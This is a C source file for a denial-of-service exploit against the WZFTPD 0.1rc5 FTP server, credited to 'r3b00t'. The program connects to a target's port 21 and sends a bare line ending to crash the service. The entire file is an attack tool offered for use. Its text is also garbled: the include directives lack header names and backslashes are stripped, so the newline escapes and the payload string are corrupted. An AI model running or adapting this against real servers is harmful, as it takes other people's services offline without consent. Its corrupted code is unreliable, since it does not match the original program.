/* wzftpdos.c for 0.1rc5 by r3b00t ---------------------------------------------- remote/local WZFTPD 0.1rc5 DoS exploit website: http://r3b00t.tx.pl/ discovred by Moran Zavdi */ #include #include #include #include #include #include #include #include int sock=0; int main(int argc, char* argv[]) { struct hostent *hp; struct sockaddr_in addr; printf("wzftpdos.c for 0.1rc5 by r3b00t n"); if (argc<2) { printf("usage: %s n", argv[0]); exit(0); } hp=gethostbyname(argv[1]); if (!hp) { printf("can't resolve %sn", argv[1]); exit(0); } bzero((char *)&addr, sizeof(addr)); if ((sock=socket(AF_INET, SOCK_STREAM, 0))<0) { printf("can't create socketn"); exit(0); } bcopy(hp->h_addr, (char *)&addr.sin_addr, hp->h_length); addr.sin_family=AF_INET; addr.sin_port=htons(21); if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))!=0) { printf("can't connect to %sn", argv[1]); close(sock); exit(0); } printf("sending \r\n ... "); send(sock, "rn", 2, 0); shutdown(sock, 2); close(sock); printf("done.n"); return 0; }

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